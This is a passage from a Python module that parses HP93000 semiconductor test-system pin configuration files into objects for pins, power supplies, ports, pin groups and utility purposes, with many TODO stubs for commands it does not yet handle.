^^^^^^^      ^^^^^^^   ^^^^^^^      ^^^^^^^   ^^^^^^^    | ^^^^^^^   ^^^^^^^ |    | \n| |      Group 7      |  |      Group 8      |  |      Group 2      |  |      Group 6      |    |\n|  ^^^^^^^^^^^^^^^^^^^    ^^^^^^^^^^^^^^^^^^^    ^^^^^^^^^^^^^^^^^^^    ^^^^^^^^^^^^^^^^^^^     |\n ===============================================================================================\n    \"\"\"\n    print(x)\n    return \n\n# ----------------------------------------------------------------------------:\n# \n\n\n\n\n# DFDM: Missing from TDC.\n# The only entry is on TDC topic 150673, \"Enabling upgrade licenses using the \n# DC Scale Extensions editor\" \n# \n# 'Data that are defined by the DC Scale Extensions Editor are stored in \n# the pin configuration file using the FW command DFDM'\n\n\nRE_HP93000_CONFIG = re.compile(\"^hp93000,config,\\d\\.\\d$\")\nRE_DDCH = re.compile(\"^DDCH\\s+(?P<dps>[\\d]+),\\s*(?P<channels>[\\d]+)$\") \nRE_PSTE = re.compile(\"^PSTE\\s(?P<sites>[\\d]+)$\")\nRE_NOOP = re.compile(\"^NOOP (?P<param_1>\\\"[a-zA-Z\\d\\_.\\s]{0,128}\\\"|\\d*|(?!\\s*)*),(?P<param_2>\\\"[a-zA-Z\\d\\_.]{0,128}\\\"|\\d*|(?!\\s*)*),(?P<param_3>\\\"[a-zA-Z\\d\\_.]{0,128}\\\"|\\d*|(?!\\s*)*),(?P<param_4>\\\"[a-zA-Z\\d\\_.]{0,128}\\\"|\\d*|(?!\\s*)*)$\")\n# TDC: 98664\nRE_DDIC = re.compile(\"^DDIC \")\n# TODO:\nRE_PSSL = re.compile(\"^PSSL\\s+(?P<minV>[OFF0-9\\.]+)\\s*,\\s*(?P<maxV>[OFF0-9\\.]+)\\s*,\\s*(?P<maxSourceI>[OFF0-9\\.]+)\\s*,\\s*(?P<maxSinkI>[OFF0-9\\.]+)\\s*,\\s*\\((?P<pins>.*)\\)\")\n# TODO: Power Supply Safety Limits TDC: 143177\n\n# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\nRE_PALS_NO_CHN3 = re.compile(\"PALS\\s*(?P<site>\\d+)\\s*,\\s*(?P<chns1>[\\d,\\(\\)]+)\\s*,\\s*(?P<chns>[\\d,]*)\\s*,\\s*\\((?P<name>[\\w\\/]+)\\)\")\n# TODO: Channel 3 is typically for FVI16 HW\n\nRE_UPAS = re.compile(\"UPAS\\s+(?P<site>\\d+)\\s*,\\s*\\\"(?P<data>[01Xx]+)\\\"\\s*,\\s*\\((?P<name>[\\w\\/]+)\\)\")\n\n\nRE_DFPN_TYP = re.compile(\"^DFPN\\s+(?P<channelNo>\\d+)\\s*,\\s*\\\"(?P<pinNo>[\\w\\s]*)\\\"\\s*,\\s*\\((?P<pinName>[\\w\\/\\[\\]]+)\\)$\")\nRE_DFPN_GNG = re.compile(\"^DFPN\\s+\\((?P<channelNo>[\\d\\,\\s]+)\\),\\\"(?P<pinNo>[\\w\\s]*)\\\",\\((?P<pinName>[\\w\\/]+)\\)$\")\n\nRE_DFPS_SNG_CHN = re.compile(\"^DFPS\\s*(?P<chn>\\d+),(?P<polarity>[\\w]+),\\((?P<name>[\\w\\/]+)\\)$\")\nRE_DFPS_GNG_RNG = re.compile(\"^DFPS\\s*\\((?P<start>\\d+)\\-(?P<end>\\d+)\\),(?P<polarity>[\\w]+),\\((?P<name>[\\w\\/]+)\\)$\")\nRE_DFPS_GNG_LST = re.compile(\"^DFPS\\s*\\((?P<chns>[\\d,]+)\\),(?P<polarity>[\\w]+),\\((?P<name>[\\w\\/]+)\\)$\") \n\nRE_DFGP = re.compile(\"^DFGP (?P<pinType>[\\w]+),\\s*\\((?P<pinList>[\\w,\\/\\s\\[\\]]+)\\),\\((?P<pinGroup>[\\w\\d\\_\\/]+)\\)$\")\nRE_DFGE = re.compile(\"^DFGE (?P<groupType>[\\w]+),\\\"(?P<groupExp>[\\s\\w\\d\\+\\-\\*]+)\\\",\\((?P<pinGroup>[\\w\\d\\_]+)\\)$\")\n\nRE_CONF_CTX = re.compile(\"^CONF \\\"(?P<ctx>\\w+)\\\"\\s*,\\s*(?P<pinType>[\\w]+),(?P<pinOperMode>[\\w\\d]+),\\((?P<pinList>[\\w,\\/\\[\\]]+)\\)$\")\nRE_CONF_REG = re.compile(\"^CONF (?P<pinType>[\\w]+),(?P<pinOperMode>[\\w\\d]+),\\((?P<pinList>[\\w,\\/\\[\\]]+)\\)$\")\n\nRE_DFPT = re.compile(\"^DFPT\\s*\\((?P<pinList>[\\w\\,\\s\\@\\[\\]]+)\\),\\s*\\((?P<port>[\\w]+)\\)$\")\n\nRE_DFUP = re.compile(\"^DFUP \\((?P<chNoList>[\\d\\s,]+)\\)\\s*,\\s*\\\"(?P<setting>[01xX]+)\\\"\\s*,\\s*\\((?P<name>[\\w\\/]+)\\)$\")\nRE_UPTI = re.compile(\"^UPTI (?P<time>[\\d\\.]+),\\((?P<name>[\\w\\,]+)\\)$\")\n\nRE_RDIV = re.compile(\"^RDIV\\s+(?P<val>[\\d\\.]+),\\((?P<pinlist>[\\w,\\@]+)\\)\")  \nRE_PSLC = re.compile(\"^PSLC\\s+(?P<val>[\\d\\.]+),\\((?P<pinlist>[\\w,\\@]+)\\)\")  \n\n\n\nGRP_PIN_TYPES = [\"I\",\"O\",\"IO\",\"DC\",\"X\"]\n\nCONF_PIN_TYPES = ['I','O','IO','DC','OFF']\n# The PIN_TYPES list is to contains all the allowed pin-types as \n# defined within the CONF command. \nCONF_PIN_OP_MODES = ['DCSIGNAL','POWER','F160','F330','FAST','HV','STDDIFF','FASTDIFF']\n# ^^^ this contains all the allowed pin-oper-modes as \n# defined within the CONF command. \n\n\n# ----------------------------------------------------------------------------:\ndef read(sfp,debug=False):\n    \"\"\" \n    This method will read the provided pinconfig file and return \n    the parsed object. \n    \"\"\"\n    func = \"st7p.pins.read\"\n    if debug: print(\"DEBUG: %s: Recieved file: %s\"%(func,sfp))\n    obj = Config(sfp=sfp)\n    with open(sfp,\"r\") as fh: \n        lines = fh.readlines()\n        for ln, line in enumerate(lines, start=1): \n            line = line.strip()\n            if debug: print(\"DEBUG: (%s): [%d] %s\"%(func,ln,line))\n            #print(\"DEBUG: (%s): [%d] %s\"%(func,ln,line))\n            if not line: continue \n            match = RE_HP93000_CONFIG.search(line)\n            if match: continue  \n\n            if line.startswith(\"DFPN\"): obj.pins.add(Pins.process_dfpn(line,debug=debug));continue \n            if line.startswith(\"DFPS\"): obj.supplies.add(Supplies.process_dfps(line,debug=debug));continue \n            if line.startswith(\"DFGP\"): obj.groups.add(Groups.process_dfgp(line,debug=debug));continue\n            if line.startswith(\"DFGE\"): obj.groups.add(Groups.process_dfge(line,cfo=obj,debug=debug));continue\n            if line.startswith(\"DFUP\"): obj.utility_purposes.add(UtilityPurposes.process_dfup(line,debug=debug));continue\n            if line.startswith(\"PSTE\"): obj.sites = int(line[4:].strip()); continue \n            if line.startswith(\"PALS\"): obj._process_pals(line,debug=debug); continue \n            if line.startswith(\"UPAS\"): obj._process_upas(line,debug=debug); continue \n\n            if line.startswith(\"DFPT\"): \n                pinlist, name = RE_DFPT.search(line).groups()\n                obj.ports.add(Port(name,[x.strip() for x in pinlist.split(\",\")]))\n                continue \n\n            if line.startswith(\"UPTI\"): \n                time, names = RE_UPTI.search(line).groups()\n                for name in names.split(\",\"): \n                    obj.utility_purposes[name.strip()].settling_time = time\n                continue \n\n            if line.startswith(\"CONF\"): \n                ctx = RE_CONF_CTX.search(line)\n                cnf = RE_CONF_REG.search(line)\n                if   ctx: context,pintype,pin_op_mode,pinlist = ctx.groups() \n                elif cnf: context = \"DEFAULT\"; pintype,pin_op_mode,pinlist = cnf.groups()\n                else: raise RuntimeError(\"Bad CONF cmd: %s\"%(line))\n                if pintype == \"DC\": \n                    for supply in pinlist.split(\",\"):\n                        pin = pin.strip()\n                        obj.supplies[supply].context = context\n                        obj.supplies[supply].pin_type = pintype\n                        obj.supplies[supply].pin_op_mode = pin_op_mode\n                    continue \n                elif pintype in [\"IO\",\"I\",\"O\"]: \n                    for pin in pinlist.split(\",\"): \n                        pin = pin.strip()\n                        obj.pins[pin].context  = context\n                        obj.pins[pin].pin_type = pintype\n                        obj.pins[pin].pin_op_mode= pin_op_mode\n                    continue \n                raise RuntimeError(\"CONF pintype (%s) not supported\"%(pintype))\n\n            match = RE_RDIV.search(line)\n            if match: \n                val, pinlist = match.groups()\n                if    pinlist ==\"@\": pinlist = obj.pins.names()\n                else: pinlist = pinlist.split(',')\n                for pin in pinlist: obj.pins[pin.strip()].rdiv = float(val)\n                continue \n            match = RE_PSLC.search(line)\n            if match: \n                val, pinlist = match.groups()\n                if    pinlist ==\"@\": pinlist = obj.supplies.names()\n                else: pinlist = pinlist.split(',')\n                for supply in pinlist: obj.supplies[supply.strip()].load_cap = float(val)\n                continue \n\n            if line.startswith(\"NOOP\"): \n                if debug: print(\"DEBUG: (%s): Skipping instances of 'NOOP'\"%(func))\n                continue \n\n            # ================================================================: \n            # RECENT UPDATES =================================================: \n            if line.startswith(\"PSSL\"): \n                match = RE_PSSL.search(line) \n                if not match: raise RuntimeError(\"problem with PSSL line: [%s] %s\"%(ln,line))\n                minV, maxV, maxSourceI, maxSinkI, pinlist = match.groups()\n                for pin in pinlist.split(\",\"): \n                    pin = pin.strip()\n                    obj.supplies[pin].minV = minV\n                    obj.supplies[pin].maxV = maxV\n                    obj.supplies[pin].maxSourceI = maxSourceI\n                    obj.supplies[pin].maxSinkI = maxSinkI\n                continue \n            # TODO Section ---------------------------------------------------:\n            if line.startswith(\"UDEF\"): print(\"TODO: %s: Skipping instances of UDEF: %s\"%(func,line));continue  # TODO: \n            if line.startswith(\"DFAN\"): print(\"TODO: %s: Skipping instances of DFAN: %s\"%(func,line));continue  # TODO: \n            if line.startswith(\"UDAN\"): print(\"TODO: %s: Skipping instances of UDAN: %s\"%(func,line));continue  # TODO: \n            if line.startswith(\"UDPS\"): print(\"TODO: %s: Skipping instances of UDPS: %s\"%(func,line));continue  # TODO: \n            if line.startswith(\"DFUT\"): print(\"TODO: %s: Skipping instances of DFUT: %s\"%(func,line));continue  # TODO: \n            if line.startswith(\"UDUT\"): print(\"TODO: %s: Skipping instances of UDUT: %s\"%(func,line));continue  # TODO: \n            if line.startswith(\"UDUP\"): print(\"TODO: %s: Skipping instances of UDUP: %s\"%(func,line));continue  # TODO: \n            #if line.startswith(\"UPAS\"): print(\"TODO: %s: Skipping instances of UPAS: %s\"%(func,line));continue  # TODO: \n            if line.startswith(\"DFPR\"): print(\"TODO: %s: Skipping instances of DFPR: %s\"%(func,line));continue  # TODO: \n            if line.startswith(\"UDPR\"): print(\"TODO: %s: Skipping instances of UDPR: %s\"%(func,line));continue  # TODO: \n            if line.startswith(\"PACT\"): print(\"TODO: %s: Skipping instances of PACT: %s\"%(func,line));continue  # TODO: \n            #if line.startswith(\"PALS\"): print(\"TODO: %s: Skipping instances of PALS: %s\"%(func,line));continue  # TODO: \n            if line.startswith(\"PQFC\"): print(\"TODO: %s: Skipping instances of PQFC: %s\"%(func,line));continue  # TODO: \n            if line.startswith(\"PSFC\"): print(\"TODO: %s: Skipping instances of PSFC: %s\"%(func,line));continue  # TODO: \n            if line.startswith(\"STME\"): print(\"TODO: %s: Skipping instances of STME: %s\"%(func,line));continue  # TODO: \n            if line.startswith(\"DDCH\"): print(\"TODO: %s: Skipping instances of DDCH: %s\"%(func,line));continue  # TODO: \n            if line.startswith(\"DDIC\"): print(\"TODO: %s: Skipping instances of DDIC: %s\"%(func,line));continue  # TODO\n            if line.startswith(\"PSVR\"): print(\"TODO: %s: Skipping instances of PSVR: %s\"%(func,line));continue  # TODO\n            if line.startswith(\"DDSL\"): print(\"TODO: %s: Skipping instances of DDSL: %s\"%(func,line));continue  # TODO\n            if line.startswith(\"PSLC\"): print(\"TODO: %s: Skipping instances of PSLC: %s\"%(func,line));continue  # TODO\n            if line.startswith(\"DFDM\"): print(\"TODO: %s: Skipping instances of DFDM: %s\"%(func,line));continue  # TODO\n            if line.startswith(\"PSRG\"): print(\"TODO: %s: Skipping instances of PSRG: %s\"%(func,line));continue  # TODO\n            if line.startswith(\"PSVD\"): print(\"TODO: %s: Skipping instances of PSVD: %s\"%(func,line));continue  # TODO\n            if line.startswith(\"PSSF\"): print(\"TODO: %s: Skipping instances of PSSF: %s\"%(func,line));continue  # TODO\n            if line.startswith(\"noop\"): print(\"TODO: %s: Skipping instances of noop: %s\"%(func,line));continue\n            raise RuntimeError(\"Couldn't handle line: %s, %s\"%(ln,line))\n    ## Add '@' port\n    obj.ports.add(Port(\"@\",pins=obj.pins.names()))\n    return obj\n\n\n\n\n# ----------------------------------------------------------------------------:\nclass Pin(object): \n   def __init__(self,channels,name,site=1,pinNo=\"\",rdiv=0.0):\n       self.channels = {site:channels}\n       self.name     = name \n       self.pinNo    = pinNo \n       self.context  = \"DEFAULT\" # defined w/in the CONF\n       self.pin_type = \"\" # defined w/in the CONF\n       self.pin_op_mode = \"\" # defined w/in the CONF\n       self.rdiv  = rdiv # Resistive Divider \n\n   def __str__(self,): \n       return str(self.__dict__)\n\nclass Pins(st7putils.Container): \n    def __init__(self, ): \n        super(Pins,self).__init__()\n    def add(self,pin): \n        super(Pins,self).add(pin,Pin)\n\n    @staticmethod\n    def process_dfpn(dfpn,debug=False):\n        func = \"Pins.process_dfpn\"\n        if not dfpn.startswith(\"DFPN\"): raise RuntimeError(\"input must start with 'DFPN'\")\n        fc = dfpn[4:].strip()[0]\n        ## Check first char: it defines connectionSet, digital channel, or DC Scale ganging. \n        if fc == \"\\\"\": \n            print(\"%s: connectionSet due to first char '\\\"'\"%(func))\n            raise RuntimeError(\"According to 7.10 documentation, this option is not supported.\")\n        elif fc == \"(\": \n            print(\"%s: DC Scale Ganging due to first char '('\"%(func))\n            match = RE_DFPN_GNG.search(dfpn)\n            if not match: raise RuntimeError(\"Bad DFPN syntax: %s\"%(dfpn))\n            channels = [channel.strip() for channel in match.group(\"channelNo\").split()]\n            pin = Pin(name=match.group(\"pinName\"), channels=channels, pinNo=match.group(\"pinNo\").strip())\n        elif fc.isdigit(): \n            #print(\"%s: channel num due to first char a digit\"%(func))\n            match = RE_DFPN_TYP.search(dfpn)\n            if not match: raise RuntimeError(\"Bad DFPN syntax: %s\"%(dfpn))\n            pin = Pin(name=match.group(\"pinName\"), channels=[match.group(\"channelNo\")], pinNo=match.group(\"pinNo\").strip())\n        else: raise RuntimeError(\"Bad first char of dfpn: %s\"%(dfpn[0]))\n\n        return pin\n# ----------------------------------------------------------------------------:\n\n# ----------------------------------------------------------------------------:\nclass Supply(object): \n   def __init__(self, name, channels, site = 1, polarity=\"\", load_cap = 0.0):\n       #self.channels    = channels # This needs to be site specific\n       try: site = int(site)\n       except: raise RuntimeError(\"Site must be an integer\")\n       self.channels = {site:channels}\n       self.name        = name \n       self.polarity    = polarity\n       self.load_cap = load_cap  # TODO: Need diff name? Set via PSLC (power supply load capacitance) \n       self.context  = \"DEFAULT\" # defined w/in the CONF\n       self.minV = \"OFF\"         # Set via PSSL(power supply safety limits) command \n       self.maxV = \"OFF\"         # Set via PSSL(power supply safety limits) command \n       self.maxSourceI = \"OFF\"   # Set via PSSL(power supply safety limits) command \n       self.maxSinkI = \"OFF\"     # Set via PSSL(power supply safety limits) command \n       self.pin_type = \"\"        # defined w/in the CONF\n       self.pin_op_mode = \"\"     # defined w/in the CONF\n\n   def is_ganged(self,site=1): \n       \"\"\"Site-specific. If no site is provide, site-1 is assumed.\"\"\"\n       if self.channels[site].__len__() >= 2: return True\n       else: return False  \n\n   def __str__(self): \n       return \"SUPPLY: %s, %s, %s\"%(self.name,self.polarity,self.channels)\n\n   def report(self): \n       retstr = [\"%-16s, %s\\n\"%(self.name,self.polarity)]\n       retstr.append(\"  - \\n\")\n\nclass Supplies(st7putils.Container): \n    def __init__(self, ): \n        super(Supplies,self).__init__()\n        self._gangedMapping = None \n\n    def add(self,supply): \n        super(Supplies,self).add(supply,Supply)\n\n    def report(self):\n        for i,supplyName in enumerate(self.objects,start=1): \n            print(i,self.objects[supplyName].__str__())\n\n\n    def get_ganged_map(self, descending=True): \n        \"\"\"\n        Returns a mapping of ganged supplies in descending order.\n\n        Parameters: \n          descending : True, Boolean \n            If False, the dictionary is return in ascending order.\n        \"\"\"\n        if self._gangedMapping: return self._gangedMapping \n        self._gangedMapping = OrderedDict()\n        for supply in self.objects: \n            supply = self.objects[supply]\n            if supply.is_ganged(): \n               self._gangedMapping[supply.name] = supply.channels.__len__()\n        self._gangedMapping = OrderedDict(sorted(self._gangedMapping.iteritems(), key=lambda x: x[1], reverse=True)) \n        return self._gangedMapping\n\n    @staticmethod\n    def process_dfps(dfps,debug=False):\n        \"\"\"The goal is to parse a DFPS line and create an instance \n        of the Supply class. \"\"\"\n        func = \"Supplies.process_dfps\"\n        if not dfps.startswith(\"DFPS\"): raise RuntimeError(\"input must start with 'DFPS'\")\n        fc = dfps[4:].strip()[0]\n        if fc == \"(\": \n            #print(\"%s: DC Scale Ganging due to first char '('\"%(func))\n            match = RE_DFPS_GNG_RNG.search(dfps)\n            if match: \n                start, end, polarity, name = match.groups()\n                channels = range(start,end+1)\n                return Supply(name=name,channels=channels,polarity=polarity)\n            match = RE_DFPS_GNG_LST.search(dfps)\n            if match: \n                channels, polarity, name = match.groups()\n                channels = channels.split(\",\")\n                return Supply(name=name,channels=channels,polarity=polarity) \n            raise RuntimeError(\"Received bad DPS ganging cmd: %s\"%(dfps))\n        elif fc.isdigit(): \n            match = RE_DFPS_SNG_CHN.search(dfps)\n            if not match: raise RuntimeError(\"Bad DFPS syntax: %s\"%(dfps))\n            return Supply(name=match.group(\"name\"),channels=[match.group(\"chn\")],polarity=match.group(\"polarity\"))\n        raise RuntimeError(\"Bad DFPS syntax: %s\"%(dfps))\n# ----------------------------------------------------------------------------:\n# ----------------------------------------------------------------------------:\nclass Port(object): \n   def __init__(self, name, pins):\n       self.name = name\n       self.pins = pins\n\n   def extend(self, pins): # TODO: Is this needed ? \n       \"\"\"Extends pins. Redundant pins are excluded.\"\"\"\n       for pin in pins: \n           if pin in self.pins: continue \n           else: self.pins.append(pin)\n       return \n\n   def __len__(self): \n       return len(self.pins)\n\n   def length(self): \n       return len(self.pins)\n\n   def __str__(self,): \n       return \"PORT: %s, %s\"%(self.name,self.pins)\n   \n\nclass Ports(st7putils.Container): \n    def __init__(self, ): \n        super(Ports,self).__init__()\n\n        self._portLengthMapping = None\n\n    def add(self,port): \n        super(Ports,self).add(port,Port)\n\n\n    def port_length_mapping(self, descending=True): \n        \"\"\"Returns the port name to port length mapping.\n\n        Parameters: \n          descending : True, Boolean \n            If False, the dictionary is return in ascending order.\n        \"\"\"\n        # if not self._portLengthMapping: return self._portLengthMapping\n        # ^^^ TODO: This was removed because we want to be able to update the \n        # mapping at runtime. This can handle via a parameter (e.g. update = False)\n        self._portLengthMapping = OrderedDict()\n        for port in self.objects: \n            self._portLengthMapping[port] = self.objects[port].length()\n        self._portLengthMapping = OrderedDict(sorted(self._portLengthMapping.iteritems(), key=lambda x: x[1], reverse=descending)) \n        return self._portLengthMapping\n         \n\n\n  \n        \n\n# ----------------------------------------------------------------------------:\n# TODO: Expand expression\nclass Group(object): \n   def __init__(self, name, pin_type, pins, expr=False):\n       self.name = name \n       self.expr = expr\n       #  ^^^ TODO: How should we extract the pins for expr. I think we should \n       # probably do it at DFGE\n       if pin_type not in GRP_PIN_TYPES: \n           raise RuntimeError(\"Pin type '%s' is not supported\")\n       self.pin_types = {}\n       for pin in pins: \n           self.pin_types[pin] = [pin_type]\n       self.pins = pins  \n       # ^^^ NOTE:  There really is no need to store this. It could simply be \n       # be a function return return of th keys of pin_types. but that would be\n       # inconsistent with other forms.\n       \n\n   def extend(self, pin_type, pins): \n       \"\"\"Extends pins. Redundant pins are excluded.\"\"\"\n       if pin_type not in GRP_PIN_TYPES: \n           raise RuntimeError(\"Pin type '%s' is not supported\")\n       for pin in pins: \n           if pin in self.pins: continue \n           self.pins.append(pin)\n           self.pin_types[pin].append(pin_type)\n       return \n\n# TODO: Need to Finish \nclass Groups(st7putils.Container):  \n    def __init__(self, ): \n        super(Groups,self).__init__()\n\n    def add(self,group): \n        if not isinstance(group,Group): \n            raise ValueError(\"Must provide instance of %s\"%(Group))\n        if group.name in self.objects: # Group has already been allocated\n            #if group.pin_type != self.objects[group.name].pin_type:  \n            #    self.objects[group.name].pin_type += group.pin_type\n            #    # TODO: Below is a check on the pin types. Turns out pins within a group can be configed diff. \n            #    #if set(group.pins) != set(self.objects[group.name].pins): \n            #    #    print(set(group.pins))\n            #    #    print(set(self.objects[group.name].pins))\n            #    #    raise RuntimeError(\"Updating group pin-type '%s.%s' but pinlists dont match.\"%(group.name,group.pin_type))\n            for pin,pin_type in group.pin_types.items(): \n                if pin in self.objects[group.name].pins: \n                   if pin_type in self.objects[group.name].pin_types[pin]: \n                       continue \n                   else: self.objects[group.name].pin_types[pin].append(pin_type)\n                else: \n                   self.objects[group.name].pins.append(pin)\n                   self.objects[group.name].pin_types[pin] =[ pin_type ]\n                \n        else: super(Groups,self).add(group,Group)\n\n    @staticmethod\n    def process_dfgp(line,debug=False):\n        func = \"Groups.process_dfgp\"\n        match = RE_DFGP.search(line)\n        if not match: raise RuntimeError(\"Bad 'DFGP' line: %s\"%(line))\n        pt, pl, gn = match.groups()\n        if pt not in GRP_PIN_TYPES: raise RuntimeError(\"Bad group pin type: %s\"%(pt))\n        pl = [p.strip() for p in pl.split(\",\")]\n        return Group(name=gn.strip(),pin_type=pt,pins=pl,expr=False)\n\n    @staticmethod\n    def process_dfge(line,cfo=None,debug=False):\n        func = \"Groups.process_dfge\"\n        match = RE_DFGE.search(line)\n        if not match: raise RuntimeError(\"Bad 'DFGE' line: %s\"%(line))\n        pt, pe, gn = match.groups()\n        if pt == \"X\": raise RuntimeError(\"Pin type 'X' is not allowed for DFGE\")\n        if pt not in GRP_PIN_TYPES: raise RuntimeError(\"Bad group pin type: %s\"%(pt))\n        if not cfo: \n            print(\"WARNING: (%s): No Config object provided. Just storing expr as pins for DFGE.\"%(func))\n            return Group(name=gn.strip(),pin_type=pt,pins=pe,expr=True)\n\n        else: \n            pins_dict = OrderedDict()\n            queue = [ ]\n            flag = \"+\"\n            for char in pe:  \n                if char == '': continue  \n                if re.search(\"\\w|\\/\",char): queue.append(char); continue \n                if char == \"+\" or char == \"-\":  \n                    pins_dict[\"\".join(queue)] = flag; queue = []; flag = char; continue \n            pins_dict[\"\".join(queue)] = flag; queue = []; flag = char \n    \n            pins = set()\n            for item, flag in pins_dict.items(): \n                if item in cfo.pins.names(): \n                    if flag == \"+\": pins.add(item)\n                    elif flag == \"-\": pins.remove(item)\n                    else: raise RuntimeError(\"Unsupported flag type: %s\"%(flag))\n                elif item in cfo.groups.names():  \n                    _pins = cfo.groups[item].pins \n                    if flag == \"+\": \n                        for _pin in _pins: pins.add(_pin)\n                    if flag == \"-\":\n                        for _pin in _pins: \n                            if _pin in pins: pins.remove(_pin)\n                            else: pass \n                else: raise RuntimeError(\"Pin item %s in not a Pin or Group\"%(item))\n            return Group(name=gn.strip(),pin_type=pt,pins=list(pins),expr=True)\n   \n                    \n  \n        \n        # TODO: Create kernal to parse the expression and use the obj.groups \n        # to build the actuall pin list. \n        # Thus `pins` get properly set, then we pass the expr so that it is stored.\n        \n\n\n\n# ----------------------------------------------------------------------------:\nclass UtilityPurpose(object): \n    def __init__(self, name, channel_settings = {}, settling_time=0):\n        \"\"\" \n        channel_settings : dictionary of dictionary \n          [site] -> {'<channel>':'<data>'}\n        \"\"\"\n        self.name = name \n        self.channel_settings = channel_settings # TODO this needs to be done per site\n        self.settling_time = settling_time # Note, units ms. \n\n    def channels(self): \n        return self.channel_settings.keys()\n\n    def length(self): \n        return len(self.channel_settings)\n   \n    def __len__(self): \n        return len(self.channel_settings)\n \n    def __getitem__(self, channel): \n        return self.channel_settings[channel]\n\n    def __iter__(self): \n        for channel in self.channel_settings.keys(): \n            yield self.channel_settings[channel]\n\n    def items(self): \n        return self.channel_settings.items()\n\n    def __str__(self): \n\n        sites = self.channel_settings.__len__()\n        #for site in range(1,sites+1): \n        #    print(site)\n        #return \"\"\n\n        retstr = [self.name]\n        for site, up in self.channel_settings.items():\n            for chn,val in up.items(): \n                retstr.append(\"site: %s -> (chn = %s, val = %s)\"%(site,chn,val)) \n        return \"\\n\".join(retstr)\n    \n\n\nclass UtilityPurposes(st7putils.Container):  \n    def __init__(self, ): \n        super(UtilityPurposes,self).__init__()\n\n    def add(self,ut): \n        super(UtilityPurposes,self).add(ut,UtilityPurpose)\n\n    @staticmethod\n    def process_dfup(line,debug=False):\n        func = \"UtilityPurposes.process_dfup\"\n        match = RE_DFUP.search(line)\n        if not match: raise RuntimeError(\"Bad 'DFUP' line: %s\"%(line))\n        chns, settings, name = match.groups()\n        chns = [chn.strip() for chn in chns.split(\",\")]\n        settings = list(settings)\n        if len(chns) != len(settings): \n            print(\"ERROR: (%s): len(%s) != len(%s)\"%(func,len(chns),len(settings)))\n            raise RuntimeError(\"Utility Purpose channels and settings length dont match: %s\"%(line))\n        chn_settings = {1:OrderedDict(zip(chns,settings))}\n        return UtilityPurpose(name=name.strip(),channel_settings = chn_settings)\n\n        \n\n\n# ----------------------------------------------------------------------------:\n# NOTE: We have decouple the 'reading' and the Pinconfig object. \n# the reason for this is becasue I want the ability to read and\n# write pin-config files. Thus, we need to separate them. \n\nclass Config(object): \n    def __init__(self, sfp=\"\", debug=False):\n        if sfp:  self._abs_path, self._dd_path, self._filename = st7putils._93k_file_handler(sfp, \"configuration\")\n        else:    self._abs_path = \"\"; self._dd_path = \"\"; self._filename = \"\"; \n        self._debug = debug \n        self.pins      = Pins() \n        self.supplies  = Supplies()\n        self.ports     = Ports()\n        self.groups    = Groups()\n        self.utility_purposes = UtilityPurposes() \n        self.sites     = 0 # Set by PSTE\n\n\n\n    def _process_upas(self,line,debug=False): \n        func = \"Config._process_upas\"\n        if not line.startswith(\"UPAS\"): raise RuntimeError(\"input must start with 'UPAS'\")\n        # RE_UPAS = re.compile(\"UPAS\\s+(?P<site>\\d+)\\s*,\\s*\\\"(?P<data>[01X]+)\\\"\\s*,\\s*\\((?P<name>[\\w\\/]+)\\)\")\n        match = RE_UPAS.search(line)\n        if match: \n            site, data, name = match.groups(); site = int(site);\n            channels_list = list(self.utility_purposes[name].channel_settings[1].keys())\n            data_list = data.split\n            #print(channels_list)\n            channel_settings = OrderedDict()\n            i = 0\n            for channel in channels_list: \n                channel_settings[channel] = data[i] \n                i += 1\n            self.utility_purposes[name].channel_settings[site] = channel_settings \n            #sys.exit(1) \n        else: raise RuntimeError(\"UPAS line bad format: %s\"%(line))\n\n\n\n    def _process_pals(self,line,debug=False): \n        func = \"Config._process_pals\"\n        if not line.startswith(\"PALS\"): raise RuntimeError(\"input must start with 'PALS'\")\n        # RE_PALS_NO_CHN3 = re.compile(\"PALS\\s+(?P<site>\\d+)\\s*,\\s*(?P<chns1>[\\d,]+),(?P<chns2>[\\d,]*)\\s*,\\s*\\((?P<name>[\\w\\/]+)\\)\")\n        match = RE_PALS_NO_CHN3.search(line)\n        if match: \n            site, chns1, chns2, name = match.groups(); site = int(site);\n            print(site,chns1,chns2,name)\n            if name in self.pins: \n                #if site in self.pins[pin].channels: raise RuntimeError(\"Site is already configured for %s\"%(name))\n                if len(chns1.split(\",\")) > 1: raise RuntimeError(\"Not expecting ganged channels on digital pin (this might be fro DC Scale channel). %s\"%(line)) \n                if chns1.startswith(\"(\"): raise RuntimeError(\"Not expecting ganged channels on digital pin (this might be fro DC Scale channel). %s\"%(line)) \n                self.pins[name].channels[site] = [chns1]\n                # Sanity checks: \n                if chns2 != \"\": raise RuntimeError(\"Expecting empty chns2 slot for Digital pin entry: %s\"%(line))\n                print(\"DEBUG: (%s): Added site %s channels %s to pin %s\"%(func,site,chns1,name))\n\n            if name in self.supplies: \n                if len(chns1.split(\",\")) > 1: \n                    if not chns1.startswith(\"(\"): \n                        raise RuntimeError(\"PALS syntax for ganged supply is not correct. %s\"%(line)) \n                    chns1 = [x.strip(\" ()\") for x in chns1.split(',')]\n                else: chns1 = [chns1]\n                self.supplies[name].channels[site] = chns1\n                if chns2 != \"\": raise RuntimeError(\"Expecting empty chns2 slot for DPS pin entry (unless DC Scale): %s\"%(line))\n                print(\"DEBUG: (%s): Added site %s channels %s to supply %s\"%(func,site,chns1,name))\n        else: raise RuntimeError(\"PALS line cannot be processed: %s\"%(line))\n        \n        \n\n    #def add_dfpn(self,name,pogo,pinNo): \n    #    self.pins.add(Pin(name=name,pogo=pogo,pinNo=pinNo))\n    def add_dfps(self,pogos,name,polarity): \n        self.supplies.add(Supply(pogos=pogos,name=name,polarity=polarity))\n    def add_dfpt(self,name,pins): \n        self.ports.add(Port(name=name, pins=pins))\n    def add_dfpg(self,pin_type,name,pins=\"\",expr=\"\"): # TODO: Need to refactor\n        \"\"\"Handles both DFPG and DFGE.\"\"\" \n        self.groups.add(pin_type=pin_type,pins=pins,expr=expr,name=name)\n\n\n    def get_pins_from_ports(self,ports,no_duplicates = False): \n        \"\"\"\n        This function will return all the pins defined within the provided\n        ports. \n\n        Background: this came from development of st7p.timing.eqnset_compare.\n        We need a way to aquire th e pin list from the DEFINES keyword. \n \n        Parameters: \n            ports : list-of-strings\n              list of port names we wish to qcquire pin list.\n\n            no_duplicates: Boolean (optional: defaul -> False)\n              If true, pins referenced in more than one port will throw \n              error.  \n\n        Returns: \n            pins_to_ports : dictionary, key -> string; pair -> list \n              mapping pins name to the ports. Note, this data-structure\n              implies that a pin can be located within two ports. If user\n              wants to disallow, user need to set `no_duplicates` to True.\n        